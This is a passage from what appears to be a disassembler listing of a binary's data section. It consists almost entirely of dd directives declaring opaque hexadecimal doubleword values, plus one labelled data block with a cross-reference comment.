0BE13002Dh dd 73D8979Eh, 0B7005A23h, 0DF45FB5Dh, 3B562C9Fh, 24B7DE1h dd 9825F49Ch, 9424B8C6h, 598F84ACh, 0FFC40373h, 0BC02DDA2h dd 40CDCC87h, 81061B9Ch, 0E7A840C7h, 0BE4FCF58h, 0E9D7845Eh dd 9594A041h, 838823Ch, 0C1DAB700h, 2FF63DADh, 86F89C92h dd 3C769F00h, 87F7172Eh, 0A56700AEh, 8AFF88Ch, 0CCE215FEh dd 1EE00305h, 0A858DCA2h, 2417CD78h, 8F06426h, 284062BDh dd 0BF9B70Bh, 739536DCh, 60B9AC48h, 35E49410h, 1747054h dd 2C97C858h, 80EAF61Fh, 0CF60E7B8h, 19D1F28Dh, 30107295h dd 0C04C28B9h, 7F131F3Ch, 0C81E60A2h, 0BA336C12h, 9D0AC309h dd 60A4C205h, 99D79818h, 3C0D091Ch, 0F397B891h, 1566B190h dd 9886770Ah, 0D912089Fh, 85387C10h, 5481FECEh, 0F6019B18h dd 90A02903h, 0FC444FF8h, 1888E0DDh, 98F17435h, 8182FAACh dd 97D853E2h, 2048604Ch, 7E470C69h, 2450BDFAh, 0AA2D11F8h dd 5054807Ch, 2C17A3E9h, 22CB6D6h, 9FF01F25h, 9561E507h dd 94418108h, 0F820AF11h, 0A8D40017h, 359C971Dh, 0F30279CEh dd 0B120A175h, 97F453A7h, 0A9B860FCh, 7235A2D0h, 78001165h dd 14F4BD52h, 0A0561CDAh, 9290337h, 0A0951FC2h, 7E19428Ch dd 2E50C90Ch, 0B1579EF0h, 1A731E7Ch, 7884E985h, 6177217Eh dd 2FA4B880h, 0F2C3FE13h, 0A8926F00h, 0E3F77634h, 0FDFC1418h dd 0B44C0CABh, 5DA47E13h, 59CF0738h, 8DD82B4h, 0D834D840h dd 24A838E3h, 7C9DB4AAh, 9F3098C0h, 2E62A6E5h, 2000BC23h dd 48F8B044h, 444EA07Ah, 70D58A4h, 913095C9h, 0ECF50B9Eh dd 0B1257CAAh, 83153F54h, 0AD1EBCEAh, 0C80CC0D2h, 8CAD1E9h dd 0DAEDC600h, 89958DA3h, 0E07CB439h, 9821F60Ch, 0FE97E4B9h dd 147FF003h, 0D4103CB6h, 9EC07A28h, 7C3AC298h, 0B32C05h dd 80C1E24h, 3C3C4EECh, 42A20F19h, 84E414EFh, 48F1EB1Fh dd 0C964D428h, 13688A67h, 1642B5h, 439598C8h, 0F4E1079h dd 0AE9F4800h, 68920AACh, 0A620C360h, 4FA037F5h, 7FB007E4h dd 0F464B989h, 98300A4Eh, 0C410DE1Eh, 9E8D9h, 0D93BC6C8h dd 0C41F18EBh, 0F368B04Fh, 1432F424h, 99007739h, 66C73E6Bh dd 258D428h, 0A1A2752Dh, 48C8F030h, 5473CF61h, 8E32F52Ch dd 9AC47B05h, 511F4BC0h, 7ABD0035h, 0CD3396BEh, 7E1AA302h dd 0CC80CFF1h, 35FD0220h, 0DCFE86EBh, 0D8ED9CA0h, 0D55628A2h dd 7CA42CACh, 892B4480h, 0FCD493B1h, 82A01A13h, 74C0E023h dd 0AF2704C5h, 0EF9004D2h, 0B034DF02h, 95856451h, 4C1E6A1h dd 7C73CDC7h, 93B0360Ch, 79C9BED8h, 37001852h, 58D56524h dd 0C0B882CDh, 442B09h, 52732E3Ch, 83E7131Ch, 0DA380647h dd 4442F194h, 7D469D09h, 890086Ah, 7E759B17h, 1829D89Ch dd 382D1F61h, 0FAF58842h, 0C826206Ch, 39D0C15Ch, 80D0A7E5h dd 0D7FF18F8h, 6CCB5D7Eh dword_4E414C dd 9D05F404h, 77D8A051h, 95B0AA00h, 0B2445384h, 1BCD09A7h ; DATA XREF: ___:off_43A1B8o dd 60826C36h, 302F39F4h, 0ECC69482h, 9D18C450h, 7718CD5Dh dd 2B95A82h, 0FD731FF8h, 417030C9h, 81E607D8h, 5EC7B49h dd 0E1FF66AAh, 1882EB6Dh, 0E14C7E2Ah, 0B486A878h, 0D031DD26h dd 0A4E6EE1Fh, 0BE9E9450h, 0B37F0278h, 909833F6h, 0BC91CE0Ch dd 0EC982444h, 0B22026A6h, 9534004Ch, 97B5EB80h, 69AAD516h dd 97EE605h, 0F441ACB1h, 1062B6E1h, 12028D3Dh, 0F5D99519h dd 0E51C30D2h, 7E444401h, 450B72BAh, 0C3F72500h, 5400A097h dd 35E84F1Ch, 9094FF96h, 0D2BA0062h, 983D83D0h, 1400DE7Fh dd 2EFD8F55h, 1E716679h, 141FDDDBh, 30000846h, 147D87F6h dd 171CE765h, 0A06CD8AEh, 0E857FEE3h, 80A1B67Fh, 95014079h dd 0A597A71Eh, 67F412C0h, 2FD40044h, 4DD50833h, 0CB61FD30h dd 0F1FBF441h, 0CFD1C3E0h, 0F009F311h, 1F2AE844h, 973DC850h dd 0FF0B0035h, 0E1C69CD1h, 27D303F7h, 20327636h, 0DC48CBBAh dd 0DC9C7195h, 88890393h, 788B5161h, 0B4042F0Bh, 69D900FFh dd 8C1323h, 9AB419BAh, 344D71C1h, 0DF17A50Fh, 0A4A780AEh dd 2E0846h, 88A32C4Fh, 8F0A9DD3h, 0F8A8BC9Eh, 28487F72h dd 2CEF1EA4h, 0E6C8DD01h, 3C70DE2Ah, 2F141D42h, 29E4AC7Fh dd 0A0850420h, 0F7C8F571h, 3C270824h, 80544662h, 5AFA2FCh dd 25C8DC7Dh, 2B0024F4h, 794B315h, 0AF4405FEh, 80C4FC09h dd 0AC1170CCh, 4B89F600h, 18FB519Ah, 727E2D9Dh, 19229C80h dd 700BD121h, 98717BB9h, 80FB80CCh, 0A2209DC8h, 255B00D8h dd 83CD48F6h, 0AA50DC2Fh, 7500DACDh, 0A639AF30h, 0F207AD45h dd 5A1F27BCh, 75868880h, 0A5483B94h, 0BE18009Ch, 1F59240Eh dd 7CDD48C0h, 4B661C00h, 7EC9DEABh, 0E6710400h, 57730E17h dd 26167BF1h, 0E148DB67h, 0F1D21281h, 7074F0E3h, 7E6AE605h dd 0BC142755h, 0DE8810F4h, 5412463Eh, 4708DCA9h, 0C454285Ch dd 170389ABh, 32E00BA6h, 0D605DEDCh, 0CD7F0683h, 0BF60DCE1h dd 7D840696h, 61FCC11Fh, 10572D01h, 45D58636h, 7A45EDCh dd 0FD26A3BEh, 6C215020h, 1D00F597h, 64D5FF25h, 0A97461EFh dd 5C35EBE8h, 7D5D7864h, 4C8B2DDh, 0F8C49278h, 0DC880BAh dd 0F23E6111h, 0F44D0094h, 1D7DC65Eh, 2D7E1848h, 54EAC8CAh dd 0C074D50Bh, 12D46881h, 9D188CD2h, 98F8E1A7h, 1225003Dh dd 0CABF96F7h, 400882Ah, 0B989B58Bh, 0C92615h, 1A7A5699h dd 51429DB0h, 0F7023890h, 62E93D32h, 936060CBh, 3E530409h dd 0B60F7Eh, 190432E8h, 250B0010h, 3DFFB2A8h, 1A0A86BAh dd 947D7AC6h, 482C2C24h, 9DC84869h, 88DD5956h, 3AB9831Eh dd 811C6CACh, 7F12E6AFh, 19B024BDh, 0BC6BA209h, 1CDC597Ch dd 0E0620BB5h, 9753000h, 2B00A20Ch, 0E4939B97h, 0FA766D5Ch dd 6F1528BAh, 98A504D0h, 0BB48DEA6h, 0C050EC89h, 99BD1D7Eh dd 0D1A69370h, 388923FCh, 50D03BE8h, 0EC045CE4h, 0D4F81F0Eh dd 6155A587h, 2DCDB840h, 120134D7h, 0B288D37Fh, 96090584h dd 0F8019BC7h, 0B6919DBEh, 60478089h, 0FC849C80h, 7E124E20h dd 4004F824h, 21AEC725h, 0D0A47770h, 8090D7E8h, 942D3894h dd 652F77CCh, 0B0F4C996h, 0E9495C24h, 3E007B88h, 0E03B8AABh dd 5CFF1789h, 714AE09Eh, 40965918h, 709DCFCFh, 409C6ABDh dd 0FCE076Ch, 7214F1F4h, 9564C0F6h, 0A8D23225h, 0F4422821h dd 591EBD00h, 0E0180C4Bh, 0A077C940h, 0B48E8968h, 0A8DD4468h dd 97A48E18h, 0DE78C445h, 52CCCCh, 9B0CBC89h, 58AC6C3Eh dd 8270B505h, 80D82Fh, 0E6EA12D3h, 331507AAh, 0B2998524h dd 48695294h, 18303A4Fh, 0E6B67Eh, 1D2AFDBDh, 0DD9303A5h dd 42508B78h, 0BE003008h, 77D39833h, 12DDEA1Fh, 0E2DBF40Ch dd 20C9206Ch, 960BBCFBh, 82DFAD30h, 0BC6A688h, 9A7F9081h dd 20108485h, 18A54A8Dh, 25494020h, 0CB0597Ah, 201A85C7h dd 0C61182C5h, 5B951434h, 8128B02Ch, 6B9AF0A0h, 0C8E21040h dd 0A89BA4F0h, 1ACBF88h, 289523DDh, 0B130962Dh, 8421908Ah dd 61E8F21Ah, 74D90B50h, 0FC4CF86Ch, 34149D25h, 0FE806FF4h dd 15FA2C93h, 8B7E42ECh, 370984AFh, 0F4D11C0Dh, 9D270394h dd 0A7808011h, 0C7690995h, 7C7D398h, 0D62D40C4h, 0A50FEB3h dd 584E1F80h, 75833C40h, 170EE3C0h, 0C81DF015h, 0A9499568h dd 0E2821EB4h, 0A29F1C2Ch, 28F7AF0Dh, 0E9E83049h, 42C8BE09h dd 0CC599A97h, 2A9EF08h, 0B5371F18h, 2FDEA080h, 64000924h dd 28E1235h, 2FB621D2h, 1098F629h, 0CF806FBFh, 472200B1h dd 0BDA2BE8Ch, 0A094C02Bh, 0F13695E1h, 0C0E79898h, 0BCA1EEBFh dd 0E86813h, 0CB57F2Dh, 0E2F03Ch, 9E5725C1h, 8F5D2E70h dd 875B401h, 176D2B9Dh, 573C313Ah, 0E0041401h, 0E0C425A1h dd 0F4D07013h, 527FD0B9h, 971460B1h, 68581499h, 0C4D3E0C9h dd 58A59409h, 3B8901Ch, 0C3C5AF8Fh, 40EDBD7Eh, 0C322E3Ch dd 0FD00AEB6h, 59D27928h, 39E3DEEh, 0D9D522Ch, 3689F41Bh dd 99843024h, 8BE7405h, 0CCE15C7Fh, 60E403F1h, 0F07858BFh dd 1DC1710h, 951C3D43h, 99F8E3B7h, 0D50E0014h, 0D3EB707Dh dd 41E8098h, 4F402E45h, 0F9956FD8h, 1FB0C352h, 0E009797Ah dd 53FD9680h, 1819308h, 29A218ACh, 14303B04h, 255C9105h dd 0CC2E867h, 7D0850F1h, 0E4291261h, 3249DC28h, 0B1E59FDCh dd 8826F510h, 1F2CA004h, 0D5F0E04Dh, 88749628h, 3A6A7100h dd 0B0A9765Ch, 647B5C95h, 0DD44B193h, 74807A1Bh, 0C9361D7Ch dd 3CC08DEAh, 8C927A16h, 32F6B414h, 9DB181F0h, 0C7021DE4h dd 7F9590C0h, 83965100h, 0A0587DFAh, 0F35D3Fh, 0F5B78700h dd 0A7DFBF42h, 82FF628h, 3005BC4Ch, 3B0C4880h, 0AA37124Dh dd 0CF0800E4h, 7715D6E3h, 0D4B6823Bh, 80B09A08h, 0A100F6FDh dd 4C061895h, 0B8946876h, 0EC8F402Fh, 6C4430CBh, 9D172E42h dd 0E5880C1h, 0A8C02CF0h, 77FC4181h, 6090BAh, 0EC031CF2h dd 0B32095D6h, 0A57B6725h, 0D8A4B9D8h, 0B853501Dh, 0B1223CA3h dd 0C485CA25h, 49E8F347h, 0C439032Ch, 0D3A52Eh, 0D5E69560h dd 58A16C45h, 885C9C26h, 4751608h, 0ADFA9A0h, 0D440D82Fh dd 90C0304Bh, 0B8E527A8h, 13F16404h, 757F0C88h, 2630C0E7h dd 945D995Ah, 7553B312h, 0F83648B5h, 9525F503h, 212C337Ch dd 7F41A8E2h, 90841070h, 0C0D897B6h, 0A79C0941h, 37F895h dd 3E7ECACFh, 0F7502F0Bh, 0BF58C301h, 0B02622DDh, 51A85D0h dd 277EBEE7h, 0BA64989Ah, 8F6CB45Dh, 0C3CC0025h, 0FEDAC03h dd 0FC208CC6h, 617FD839h, 377C5890h, 94FF9E1Fh, 0FCEFAD40h dd 78253C5Ch, 0D55E2714h, 177A1018h, 74CC9197h, 912F9C30h dd 0FCF708B8h, 0D3F55B00h, 2DCCD7h, 0FAB2634Fh, 71829CFBh dd 313A5CBAh, 80304905h, 11C81EA4h, 0C0494F1Fh, 0A7FD29ACh dd 5C996CB0h, 0EAA0488Bh, 3A7074ACh, 0B6F01326h, 2A12D0DAh dd 0B02822A7h, 0A09C4C97h, 0E1A7C0C8h, 0AC246104h, 1E10C9DFh dd 6CC48B0Bh, 0C4429D18h, 14F36B9h, 0B5C6DE28h, 0C4C8FBCFh dd 8F00F624h, 20A23E99h, 2539F97h, 7DE54FB4h, 3448A464h dd 5E012A3Ch, 7FD5B98Dh, 99ACA273h, 0CF600000h, 2B669DB0h dd 0D1B8A1C9h, 0B95708D4h, 40D8B033h, 140964A0h, 0E87A307Eh dd 4844A6A1h, 8F311FB0h, 0C8E51866h, 0A0D95096h, 9200D520h dd 779C5771h, 966B2994h, 0E7BA81C0h, 3EC8B5EFh, 0C0ED8853h dd 0EE2028h, 0FDA049CEh dd 0D21F1983h, 657CF02Dh, 599D0500h, 0F6AC125Ah, 2FE501E0h dd 75640A12h, 78369FE8h, 0D02295C1h, 1A049D7Fh, 0C71BD0C0h dd 0CB08B37Dh, 89EBB011h, 51B5B3A8h, 811484BCh, 10B8D650h dd 4200F090h, 0E8F73328h, 90263DC8h, 98DF20A0h, 4CC3F44Bh dd 25029440h, 0E8D8A81Fh, 0D5D4E550h, 7C42024Eh, 0E8FB9A7Eh dd 252D44ACh, 0A00B96DEh, 0B1A51027h, 0CC521721h, 0FF04F0D3h dd 0BE9DBFD9h, 0F600ACACh, 25DDF23Dh, 0EE0620FCh, 3CB79607h dd 258941B0h, 0EEC080Ch, 75067222h, 0BCEC55A2h, 83E11861h dd 0CF9DF450h, 2EBCA0FDh, 0A3A50278h, 3E229464h, 0FEE1A0D6h dd 213A0AF3h, 2E9945F4h, 69944002h, 0F1C48CE2h, 0C0F648CDh dd 0BB6410h, 0D1E4A046h, 607D1FCBh, 0DE44883Fh, 0D44C9892h dd 2912C49Ch, 4F278C4h, 604946C9h, 584B2F0Eh, 0DBCC0418h dd 150A58EDh, 81E02ACFh, 22F5D14Ah, 18202E98h, 954E1F2Dh dd 0C59D4884h, 70DC4862h, 4951708h, 922E9609h, 0EC66C82Ch dd 0B036DF01h, 85268C15h, 0D221B893h, 1F22BCC8h, 2938E8A9h dd 2DFD009Fh, 6E97CCCBh, 26042580h, 96219DB5h, 0E8D810D4h dd 8634B148h, 0C83F0294h, 0A72BB600h, 955A146h, 431F13C9h dd 7E784251h, 1702D3F8h, 2808E1B3h, 208E7700h, 0F05AF62Ah dd 6A93832Dh, 7EE8C068h, 38E261CCh, 0E1C158FBh, 54C52BC9h dd 0E6166084h, 1902AC5Fh, 0C9099DB9h, 9440DDF4h, 1386762Ah dd 0B4E25D20h, 0F4ECEF70h, 405D6EB8h, 0FBA40058h, 51F7C2Bh dd 5928C0C7h, 0D4F45FBAh, 0BB95CC08h, 0F95203ECh, 9DC03004h dd 9B56384h, 204C58CCh, 0A2715ADh, 0BBA040F6h, 28268174h dd 94B4D2F4h, 746DE9D8h, 914A393h, 25D9E71Eh, 24E0AF34h dd 35AE2413h, 8EA9018h, 45309826h, 0DD58C1FEh, 0C80064D8h dd 942C3C81h, 6737A100h, 18F72D1Dh, 0C4E0AB5Bh, 209098D3h dd 5B003146h, 0B902A84Ch, 2A9F639h, 0BA3B510Bh, 6C5C761Fh dd 0CFDC1101h, 0C0F814B7h, 0C6F22806h, 2C8CB6B4h, 177708B4h dd 35840800h, 0FFD7FC8h, 37A50E25h, 96364040h, 7E114506h dd 421618B6h, 4BB0A317h, 0B61FEC01h, 0C6CAF62Fh, 279F4274h dd 2698A0A1h, 0A098511Fh, 1A65ADCh, 25CB542Eh, 20B35792h dd 0C49679F8h, 63A09705h, 0D3DC9C0h, 891F1B1Ch, 0AED3848h dd 1FAC81A4h, 0E0121618h, 0A6272E1Ch, 188066EFh, 0B9D7D87Eh dd 0D300B921h, 8395901Ch, 7CC4C088h, 5F410077h, 7D769C81h dd 1F251A80h, 3DAC40B0h, 943C000Ch, 0A2E702EDh, 0F092D79Dh dd 2C2DAE20h, 4218130Ah, 0E001B4A7h, 4ECED8C7h, 32D40518h dd 8CE27DA0h, 5CBA42E8h, 0F2F99D12h, 993DA882h, 7F08D5A0h dd 0C9A66430h, 2D0E7526h, 0F8E0180Dh, 7901A797h, 7ECCAD95h dd 823F1F94h, 305842ACh, 681CB24Ah, 0D9BBCBh, 0FDA42609h dd 0BAAC0312h, 6C95E302h, 869C5E0h, 0A0107E0Bh, 90C6072h dd 0C650D32Dh, 112E4988h, 211F68ABh, 61CA3C8Fh, 8EC74BA4h dd 0E883DED0h, 0C14494E2h, 0A5B37D9Dh, 3F344651h, 0B1257E48h dd 0BFC11813h, 1FC0801Ch, 435C715Dh, 8095000Eh, 172D91E9h dd 8097B996h, 20CDC79Ch, 0E1CF12FFh, 2C64B8C5h, 9A0C940Fh dd 48E2606Ch, 0C29250C8h, 6C73F07Ch, 4037A008h, 9F7EA917h dd 0F11C560h, 7D3D0833h, 8DF60220h, 6298A05Bh, 0C9BED48Eh dd 84A9AE1Fh, 0C2324000h, 700063BFh, 13093F49h, 3C0DE04h dd 8CDDE7E8h, 5888E2C9h, 0BB0CEBCCh, 0FCA4189Fh, 0A650CB52h dd 802E1004h, 22A3737Ch, 209AACF0h, 0C98E1901h, 7205AF59h dd 18B8042Ah, 40A60078h, 3A8FDEAAh, 2F24B024h, 0FC170B80h dd 0A0015C7Ch, 8A7E9F3Fh, 13D4E2E9h, 0A518C968h, 0A32E30CCh dd 0EB40D439h, 31DD094h, 957E1504h, 88070C30h, 960BA3E0h dd 20870B9h, 95B5538Ah, 94E6B113h, 19A22509h, 0CA94229Eh dd 0C1407CC0h, 11014826h, 0CA0291AEh, 0E042A4F6h, 0A4200BC9h dd 0D19891DEh, 0B4BD8491h, 28C2502Bh, 0CDD448D4h, 0AB2E149Eh dd 7200D4F8h, 0DFDEF490h, 0B9267EC0h, 7540D8C8h, 99AA7h dd 0A8A32D46h, 47825DBBh, 838E0E0Eh, 0BC26802Fh, 25E2CF03h dd 0B460C9A1h, 5D5CB857h, 0A6E078Ch, 1EC1985Ch, 4C388895h dd 787C3250h, 0D62B096Fh, 0A800BDA3h, 0BF050B7Dh, 732AFD00h dd 9DA5E10Ah, 968B450h, 80778737h, 0DD9F28B0h, 3F8C9005h dd 585899ACh, 8C14D2Fh, 5046EEA0h, 960FC404h, 90D0EB51h dd 22224A5h, 14A1E10Ch, 305155ABh, 0E32E440Fh, 0B5D6B6h dd 0C6DEB2F0h, 41DDC1A4h, 0DAAF5300h, 117195D5h, 0F2BA03C5h dd 0F60864A1h, 8F002E73h, 7D6D153Bh, 0B832D797h, 4A7F31h dd 0B53C787Fh, 0B86B2013h, 0C4408F97h, 88AC4495h, 0A402BE27h dd 0F8C8E11Fh, 0CB42E48h, 9F7F43h, 0B4A49828h, 7EFA6C0Ch dd 0EC2DC428h, 0F1FB8301h, 0B23F9549h, 818E2897h, 3455B1Ch dd 0E564ABA2h, 0D0E394F5h, 13FC9AF8h, 0B487F62Eh, 21492078h dd 711D1130h, 6B7F6050h, 0E89458E3h, 6DCB9D13h, 4E74E3h dd 41EF48ECh, 15A9DCEh, 0F8FC7084h, 23B2CACFh, 20E0BF60h dd 297AF2Ch, 5CD0B840h, 0B67F89E0h, 471F38B0h, 93EC009Dh dd 407A9587h, 0D52D1723h, 990070Dh, 88DC086Bh, 1B7D708h dd 6463920Ah, 3EAC2217h, 2CD82C1Dh, 0E12028ACh, 0FCB1AB02h dd 740E14C2h, 251F095Ch, 8342040h, 2F7CF57Dh, 0DAB09300h dd 11327C31h, 0DC82533h, 351F50E0h, 649CF84Bh, 9D56EA95h dd 8DBF7038h, 2847C700h, 6167A88Eh, 2A2F1DF4h, 6C5907Eh dd 0BF581F21h, 94CC3C50h, 0B1DD6B14h, 0E4110E27h, 9C012B0Dh dd 33574165h, 721EA464h, 0CC1A4F88h, 5B4621DCh, 510DA400h dd 8342FDEDh, 0BB8EC404h, 0C0848515h, 0C480804h, 0F65DDCC2h dd 0C92E1F1Ch, 0ECC4EDDAh, 2314A200h, 1FE40F43h, 606E6515h dd 0D8E01686h, 0AC40B600h, 0C9B3002Dh, 29BCE642h, 3400839Ah dd 663F8298h, 5F520C7h, 0CF7E2C2Dh, 0D0D81712h, 42BD3EB4h dd 0DFBB4A09h, 0C2EC02C3h, 1810D24Fh, 7045FD0Eh, 0B72F1F22h dd 2D8CCEBCh, 1C606D94h, 7E27B011h, 2E1401E2h, 0F6E13E55h dd 257C1D3Fh, 0DF06986Eh, 8B5A7EAEh, 8F131310h, 0A01C34F8h dd 0D400A1F4h, 2E0B4C46h, 12775A4Fh, 5504BBh, 73A058F4h dd 3D7A28FCh, 0CB0B3Dh, 0A1EEA67Eh, 220FDBCh, 215548F6h dd 78E8F3A0h, 0BD7B6FC7h, 0E345A618h, 5A7F1F89h, 0BE4406Dh dd 5F7EA717h, 1F941B54h, 9C36FD01h, 0CA0D9D04h, 0CAA2489Fh dd 63C4D397h, 0F9278D9Bh, 1690445Dh, 8206D10Ah, 0F4D4B130h dd 80803DF0h, 6F00D197h, 0F68F77D8h, 4324D31h, 9E17C5FDh dd 3D78E20Ah, 48CB731Fh, 92501444h, 0D8B8971Ch, 92E23295h dd 0D5D33F02h, 807A9843h, 0DE1F2408h, 9BFCA87Fh, 0E48C19Dh dd 20A8B596h, 48026CF8h, 0ECCE9AFDh, 270E0CAh, 50748266h dd 0D34823Ah, 0C811F013h, 8095DAACh, 381E3298h, 82CC31CCh dd 3E2103Ch, 95BAA5E7h, 6004A3D8h, 717EC118h, 210000FFh dd 0B6ABC35Ch, 2A3CA43Eh, 9518C8D5h, 4F30B517h, 21723815h dd 951E000h, 2FC5DD5Ah, 229DAF17h, 0ACF81C84h, 0D83D82A0h dd 749739h, 4775A1A0h, 903EF658h, 0FFF402DAh, 7CC67A20h dd 7F17B8FAh, 0F3137EB4h, 732DE041h, 9C61E4B1h, 24B9BCF8h dd 3994B427h, 9BF73401h, 602621DDh, 6A307E30h, 0E43838DEh dd 0EA51F08h, 420A1F18h, 8BF62A39h, 4A42205Eh, 2DE24D1h dd 719CDF9Dh, 210C846Ch dd 131C98B9h, 922F3B25h, 88447FF0h, 68A4049Eh, 0E6E53300h dd 4A7C5E19h, 0BCC80911h, 420024CCh, 0E767CDF4h, 81E8CC9Dh dd 0B8313BF7h, 1E00A3DEh, 7C92BFDCh, 0D8FC3828h, 65A7419h dd 1081F76Ah, 7DDE927Ah, 685E7AC8h, 0BE003DD2h, 0ED4310F1h dd 0BA8D005Ch, 0B09F956Fh, 14074A7Dh, 522E0E71h, 0CC0841C0h dd 8C89BDEDh, 30D51C31h, 6EC9CD10h, 5ED8C0C0h, 0B748093Dh dd 0C470EB7Eh, 404F34Fh, 0B3007A9Dh, 0EA90CBB1h, 0A409FF72h dd 0DC6095h, 3E9DB224h, 1818BDAFh, 8360C77Fh, 46653A38h dd 9805074Bh, 18D3A3h, 93F47E30h, 9543F891h, 0D8C19336h dd 0FC2F7DBCh, 0F7370134h, 4AFDA673h, 1B8D408h, 537C9500h dd 945ED1F3h, 39649CB3h, 2D150C80h, 0C20F7052h, 249DAB3Ah dd 0CD8000E5h, 960D3345h, 14FA4DB1h, 0CFEFD700h, 0A4BE8B3Bh dd 3D4E9DE4h, 0EEFEFC81h, 207C856Bh, 0AE483600h, 3A3BFB58h dd 0A1DE17BDh, 803AFC1Fh, 16FDC0A7h, 0F0CB71h, 39A245A4h dd 1EC28BE7h, 0A9D7F1Fh, 37162007h, 96D4FF60h, 9F1F126Fh dd 0F8084599h, 34A2D1h, 0B1C72A41h, 383C1EBh, 0FD8B0E3Ch dd 10F87A14h, 7D067CFCh, 8E9DB319h, 37A10039h, 0ABD3826h dd 6607D798h, 5F0FF47Ah, 7E39BE70h, 21B09A27h, 0C42F46FCh dd 0B16098D4h, 59CF873Ch, 0F63110D9h, 4800307Fh, 0D5C5E1EBh dd 2977290h, 0B681F1A7h, 9CA4DF06h, 7880BBA1h, 1732D60Fh dd 0E7B305A0h, 0D785018Ch, 0F3E09471h, 24C0C047h, 2F4AC99h dd 351D73F8h, 0EC59EFDBh, 0E03227h, 0C905CE8Ch, 7E4609A7h dd 90C23A58h, 141EFCF6h, 0CC49F4C4h, 8520D4F9h, 28373C3Fh dd 4E03FFA7h, 2103B69Ch, 0E0F2CBB0h, 393C91Eh, 1FE31857h dd 701386CFh, 9CB2617Eh, 0A240843Ch, 0E10D3C0Bh, 80048592h dd 0B400A852h, 0BAA9629Ch, 2D65F847h, 14E515F3h, 48212E8Ch dd 0A0D54CA4h, 7F0864h, 0E2451346h, 0DDFB2CFDh, 68121ECCh dd 882601A8h, 0B84348A1h, 597ED4FAh, 9F387140h, 0C8D8F498h dd 2097D49Bh, 0ABFDAC70h, 0D467050Ch, 0B849829h, 0F0517A08h dd 0DB74AB4Eh, 84CA25FCh, 6ACA8C00h, 3C55997Eh, 0A54093C0h dd 977FD8C1h, 2CB0007Fh, 63FCEC52h, 0F09DC217h, 9608E4C0h dd 6C81970Ah, 7ED2028Dh, 423EBC48h, 1440D885h, 0C495F595h dd 0D89B60C8h, 0DEB88AF6h, 0D35A847Fh, 0B757B881h, 172DF440h dd 0C38E00F7h, 0CABE82E9h, 8B09ADCEh, 82C62BDBh, 68261551h dd 0CF59F88h, 9222A025h, 0BD17B758h, 10A09D1Fh, 35CB080h dd 270E905Ch, 61E095CCh, 0CD00F80Bh, 0D2011122h, 19C971Ah dd 0E3B4FA5Bh, 87B8CF7Dh, 0E7190FC0h, 813B2982h, 664F2D84h dd 0B8DFA0F8h, 934502B0h, 1894721Bh, 864AC870h, 661098A2h dd 251C5895h, 0DA08606Fh, 727D00D5h, 30A93FEBh, 2300D99Ah dd 0C24FAEBFh, 799F244Dh, 0D47F0309h, 6D0D95A3h, 0D7673800h dd 0D819A583h, 0CD3501F5h, 0E2288696h, 4E6089BEh, 0DE202908h dd 821F0954h, 67E55040h, 0ED0149Fh, 0FC70B257h, 0D2B685E0h dd 0F64847E2h, 4C63E3Ch, 9C7BE8F3h, 0D153DC80h, 7E063EACh dd 0C8E71781h, 2AEEC7FDh, 42ABFC24h, 989DDEA0h, 0A00990D1h dd 480C3420h, 2862FC1Fh, 0E8CA7CDDh, 50B4E40Ah, 0C92AB58h dd 0FB00997Bh, 90354543h, 0B53B9CFFh, 64641409h, 2D577C00h dd 930395F0h, 0D489B559h, 29B64000h, 0D659547Eh, 0B77F1654h dd 4F1F8CCCh, 4168F0E0h, 0A8CCF05Eh, 804897B5h, 71D8D84h dd 992CF3Ah, 0BBBA4F4h, 0F665D35Eh, 0B4456080h, 0E0018373h dd 0B518150Dh, 343E77CFh, 6D8A008h, 0B001549Eh, 8E85DD2Dh dd 200042Fh, 93BB0437h, 65C5F8FCh, 8412A2h, 203C7028h dd 0B7F8F712h, 12F6AB3Eh, 404B980h, 14EC812Fh, 0E74C9583h dd 9F5A3814h, 0AF450FA0h, 0FE1FE271h, 5188D6A1h, 0E0210285h dd 5307FDF4h, 7E16F4A8h, 26E8F0D3h, 0DAD41F1Ah, 70C7C41h dd 6BBC7E2Fh, 93224C20h, 0F1005BFFh, 0F5877C94h, 2F95BFACh dd 38497075h, 0B6C9E0A0h, 0E098A0CEh, 1DDDB558h, 50357876h dd 317E08D8h, 0D458EC8Dh, 7A68884Ah, 0CD231298h, 0AD08603Ch dd 17EB588h, 2A1BF48Ch, 52068AFDh, 0E8609F64h, 0A8B9207Dh dd 8B7EC860h, 56042F95h, 0C7079464h, 7024DD5Ah, 0B1A8A041h dd 31747080h, 0D432D197h, 9A5B227Ch, 8E867C90h, 0F4099F4Ah dd 33B7D094h, 14CB34h, 0B211AF20h, 0BAFB8E2Bh, 0FCBB3901h dd 1422D5EBh, 242F60EEh, 21CC267Eh, 30482544h, 0CCB63D7Dh dd 0A169159Bh, 0C841F419h, 283F180Eh, 932E9D38h, 0ED978CA6h dd 429420C0h, 1A4B94Eh, 3D1DEB3h, 4CF02214h, 38614E18h dd 0B500F312h, 9AF0907Dh, 1354974Dh, 7C1EF524h, 6046868Fh dd 4C7CB1D4h, 1B7E2D48h, 22DD2802h, 1F2DBC50h, 7F1CC14Eh dd 207C053Eh, 0F950A494h, 0D02CF600h, 7E304C7Dh, 0B0C160E8h dd 0F0EB73C0h, 0D8872A5Ah, 0EEF552h, 187E43CAh, 0CC4EACB2h dd 0FB0EB881h, 1E1F1700h, 0D0608F60h, 1108C0h, 28FD9E21h dd 9382F8E3h, 95251504h, 3CF97B5Fh, 9DCA9860h, 29DF9E1h dd 0F5502F60h, 6815F4A0h, 0FC9C2395h, 717FB605h, 2C0664EDh dd 285DF81Fh, 0E8D83412h, 0CC9098ACh, 8AF2014h, 0C32CC14Eh dd 7EA6106Fh, 0C89C658Fh, 0FDF804F6h, 7C8CF563h, 8DB61090h dd 10DECB18h, 0FC80064Ah, 903C912Ch, 0E8E64AB9h, 2320C04Ah dd 9400CCB4h, 34335E15h, 5274D1h, 635B214Eh, 0DDBBD0E8h dd 0B4198324h, 37F7C800h, 2882763Bh, 89B98h, 8A5133F6h dd 9DBC19D1h, 10B8202Dh, 7314420Ch, 9D2784FEh, 0B1C80E7h dd 251D45D6h, 0B0E1022Eh, 0D43803C0h, 0A968E052h, 6A4DE0Dh dd 9C7910D9h, 1C23BF00h, 0F27E8BC5h, 4C1D8492h, 0C01F1161h dd 24C17D9Fh, 209B9DC8h, 33F75089h, 181E30CCh, 0CA009D97h dd 0A7DEFFDBh, 2A4126B0h, 0EB8B00ACh, 762C2D7Dh, 0D0B58600h dd 50A0D312h, 0CB1E267Eh, 2B278048h, 0E4B139A2h, 0DF1D310Bh dd 58C0809Dh, 78D6139Ah, 